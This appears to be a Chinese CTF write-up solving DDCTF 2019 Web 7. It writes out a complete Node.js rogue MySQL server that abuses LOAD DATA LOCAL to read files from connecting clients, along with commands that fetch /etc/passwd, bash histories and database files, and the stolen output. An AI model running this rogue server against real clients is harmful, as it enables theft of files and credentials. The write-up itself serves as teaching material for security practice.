DDCTF 2019 Web 7 - MySQL 弱口令

Yelo - 2019/04/18

📎 题目

mysql弱口令

http://117.51.147.155:5000/index.html#/scan
部署agent.py再进行扫描哦~

本题不需要使用扫描器
限制了每秒2-3次访问

📎 解题过程

📎 Agent

正如题目所述,这题模拟的是一个 MySQL 弱密码扫描器。

题目在入口处提供了一个 agent.py 文件,供我们放到自己的服务器上运行 —— 这个文件常见于安全和性能监测服务中,例如 阿里云漏洞扫描听云 Server,作为探针收集服务器上的信息。
那么先检查一下其文件内容:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time    : 12/1/2019 2:58 PM
# @Author  : fz
# @Site    :
# @File    : agent.py
# @Software: PyCharm

import json
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
from optparse import OptionParser
from subprocess import Popen, PIPE


class RequestHandler(BaseHTTPRequestHandler):

    def do_GET(self):
        request_path = self.path

        print("\n----- Request Start ----->\n")
        print("request_path :", request_path)
        print("self.headers :", self.headers)
        print("<----- Request End -----\n")

        self.send_response(200)
        self.send_header("Set-Cookie", "foo=bar")
        self.end_headers()

        result = self._func()
        self.wfile.write(json.dumps(result))


    def do_POST(self):
        request_path = self.path

        # print("\n----- Request Start ----->\n")
        print("request_path : %s", request_path)

        request_headers = self.headers
        content_length = request_headers.getheaders('content-length')
        length = int(content_length[0]) if content_length else 0

        # print("length :", length)

        print("request_headers : %s" % request_headers)
        print("content : %s" % self.rfile.read(length))
        # print("<----- Request End -----\n")

        self.send_response(200)
        self.send_header("Set-Cookie", "foo=bar")
        self.end_headers()
        result = self._func()
        self.wfile.write(json.dumps(result))

    def _func(self):
        netstat = Popen(['netstat', '-tlnp'], stdout=PIPE)
        netstat.wait()

        ps_list = netstat.stdout.readlines()
        result = []
        for item in ps_list[2:]:
            tmp = item.split()
            Local_Address = tmp[3]
            Process_name = tmp[6]
            tmp_dic = {'local_address': Local_Address, 'Process_name': Process_name}
            result.append(tmp_dic)
        return result

    do_PUT = do_POST
    do_DELETE = do_GET


def main():
    port = 8123
    print('Listening on localhost:%s' % port)
    server = HTTPServer(('0.0.0.0', port), RequestHandler)
    server.serve_forever()


if __name__ == "__main__":
    parser = OptionParser()
    parser.usage = (
        "Creates an http-server that will echo out any GET or POST parameters, and respond with dummy data\n"
        "Run:\n\n")
    (options, args) = parser.parse_args()

    main()

可以看出这是一个非常简单的 Web 服务,无论使用 GET 还是 POST 方法请求都将返回服务器上 netstat -tlnp 的结果。对于一个 MySQL 弱密码扫描器而言,这个结果的作用是告知扫描器当前服务器上有没有跑 MySQL Server,如果有的话端口是多少。

(除此以外,这个 Web 服务还做了一个意义不明的 Set-Cookie 操作,但既然内容是 foo=bar 就暂且认为这只是一段没有意义的示例代码吧。

从安全起见,我还是用 Node.js 模拟一个 agent:

/**
 * Filename: agent.js
 */
const micro = require('micro')

const PORT = process.env.PORT || 8123 // 使用原 agent.py 的端口号
const SAMPLE = JSON.stringify([
  {
    "local_address": "127.0.0.1:3306",
    "Process_name": "2072/mysqld",
  },
])

const server = micro(() => SAMPLE)

server.listen(PORT, () => {
  console.log('Simplified-Agent for DDCTF-2019-Web-7 started on', server.address())
})

不得不吹一下 zeit/micro,代码美如画。

接着找一台有公网 IP 的 VPS,启动刚刚写的 agent:

node ./agent.js
# <- Simplified-Agent for DDCTF-2019-Web-7 started on { address: '::', family: 'IPv6', port 8123 }

回到题目的网页进行扫描 —— 填写 VPS 的 IP;端口应该指 MySQL Server 的端口,所以填写在 agent 中模拟的 3306

screenshot

提示「未扫描出弱口令」。
嗯哼~ 因为就还没有启动 MySQL Server 呀。

📎 MySQL Honeypot

启动 MySQL Server 是不可能启动的。
既然唯一的线索是扫描器,那么接下来的思路是先捕获扫描器发出的请求 —— 也就是说要实现一个假的 MySQL Server。
事不宜迟,搜下有没有前辈干过这事:

screenshot

诶?等下,第二条是什么?

Rogue-MySql-Server.
Edit script and change file to read and server port if you want. Run script and connect to your server for read file from client side.

(居然还有这种事.gif 😯

MySQL connect file read 中了解到,这是一个由 MySQL LOAD DATA 引发的安全问题:当 MySQL Server 在回复 Client 发出的请求时,回复含 LOCAL 关键字的 LOAD DATA 状态,则 Client 将按协议把指定文件的内容发送给 Server。
GitHub 上的 Gifts/Rogue-MySql-Serverallyshka/Rogue-MySql-Server 分别是 Python 和 PHP 版本的蜜罐实现。
Read MySQL Client's File 详细介绍了其中的通信过程和数据包结构,再配合 MySQL 官方的文档,实现一个 Node.js 版本的蜜罐也并不复杂:

const net = require('net')
const pad = require('left-pad')

const PORT = process.env.PORT || 3306

const FILENAME = process.argv[2] || '/etc/passwd'

const RESPONSE = {
  GREATING: '5b0000000a352e362e32382d307562756e7475302e31342e30342e31002d000000403f59264b2b346000fff70802007f8015000000000000000000006869595f525f635560645352006d7973716c5f6e61746976655f70617373776f726400',
  FIRST_OK: '0700000200000002000000',
  SECOND_OK: '0700000400000002000000',
}

const STATE = {
  WAITING_FOR_GREATING: 0,
  WAITING_FOR_FIRST_OK: 1,
  WAITING_FOR_QUERY: 2,
  WAITING_FOR_SECOND_OK: 3,
  OVER: -1,
}

const server = net.createServer((socket) => {
  console.log('----- Client connected from %s:%s', socket.remoteAddress, socket.remotePort)

  const write = (name, content) => {
    if (typeof content === 'undefined') {
      content = Buffer.from(RESPONSE[name], 'hex')
    }
    console.log(`Send:---\n${name}\n---`)
    socket.write(content)
  }

  let state = STATE.WAITING_FOR_GREATING

  write('GREATING')
  state = STATE.WAITING_FOR_FIRST_OK

  socket.on('data', (data) => {
    console.log('Received data:---\n%s\n---\n%s\n---', data.toString('hex'), data.toString())
    console.log('State:---\n%s\n---', state)
    switch (state) {
      case STATE.WAITING_FOR_FIRST_OK: {
        write('FIRST_OK')
        state = STATE.WAITING_FOR_QUERY
        break
      }
      case STATE.WAITING_FOR_QUERY: {
        let filename = Buffer.from(FILENAME)
        let payload = Buffer.from([
          pad((filename.length + 1).toString(16), 2, '0'),
          '000001fb',
          filename.toString('hex'),
        ].join(''), 'hex')
        write('QUERY', payload)
        state = STATE.WAITING_FOR_SECOND_OK
        break
      }
      case STATE.WAITING_FOR_SECOND_OK: {
        write('SECOND_OK')
        state = STATE.OVER
        break
      }
      case STATE.OVER: {
        write('SECOND_OK')
        break
      }
      default: {
        throw new Error('Unexpected state')
      }
    }
  })
}).on('error', (err) => {
  throw err
})

server.listen(PORT, () => {
  console.log('MySQL-Honeypot started on', server.address())
})

传上 VPS 后,启动 MySQL 蜜罐:

node ./mysql-honeypot.js
# <- MySQL-Honeypot started on { address: '::', family: 'IPv6', port: 3306 }

回到题目的网页,点击「扫描」:

screenshot

有反应了,不过扫描结果不重要;回到 VPS 的 Terminal,可以看到已经拿到了扫描器上的 /etc/passwd 内容:

screenshot
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
polkitd:x:999:998:User for polkitd:/:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
chrony:x:998:995::/var/lib/chrony:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
dc2-user:x:1000:1000::/home/dc2-user:/bin/bash
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
mongod:x:997:994:mongod:/var/lib/mongo:/bin/false
nginx:x:996:993:Nginx web server:/var/lib/nginx:/sbin/nologin
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
polkitd:x:999:998:User for polkitd:/:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
chrony:x:998:995::/var/lib/chrony:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
dc2-user:x:1000:1000::/home/dc2-user:/bin/bash
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
mongod:x:997:994:mongod:/var/lib/mongo:/bin/false
nginx:x:996:993:Nginx web server:/var/lib/nginx:/sbin/nologin

得到用户名 dc2-user,并发现服务器上装有 MySQL、MongoDB 和 Nginx。

那么重新启动蜜罐,试下查看 dc2-user 的操作记录:

node ./mysql-honeypot.js /home/dc2-user/.bash_history

触发扫描后获得 日志,但看起来没有太多有用的信息。于是再用同样的方式获取 root 用户的操作记录:

node ./mysql-honeypot.js /root/.bash_history

获得 日志,发现曾经操作过文件 /home/dc2-user/ctf_web_2/app/main/views.py,继续读取其内容:

node ./mysql-honeypot.js /home/dc2-user/ctf_web_2/app/main/views.py

获得 日志,提取出 文件 内容,发现:

# ...
# flag in mysql  curl@localhost database:security  table:flag
# ...

这段注释指明了 flag 所存储在 MySQL 中的库和表;那么继续沿用前面方式,读取 securitytable 表的 ibd 文件:

node ./mysql-honeypot.js /var/lib/mysql/security/flag.ibd

获得 日志

从 ibd 中搜索关键字 DDCTF,找到 flag DDCTF{0b5d05d80cceb4b85c8243c00b62a7cd},顺利在活动结束后通关 ✌️。

(嗯,做的时候没想到会直接用 root 操作文件,卡在了 dc2-user 的 .bash_history,没拿下这题的分。)

📎 Bonus

除了以上这些文件外,如果查看 Nginx 配置和 MongoDB 日志会发现这台服务器上还同时跑着 上一题 的服务,而两题的入口 IP 也确实相同。

结合上一题令人困惑的设计,不得不怀疑这是出题人有意埋下的暗线。 (意义不明

📎 涉及资料

📎 EOF

下一题
回到目录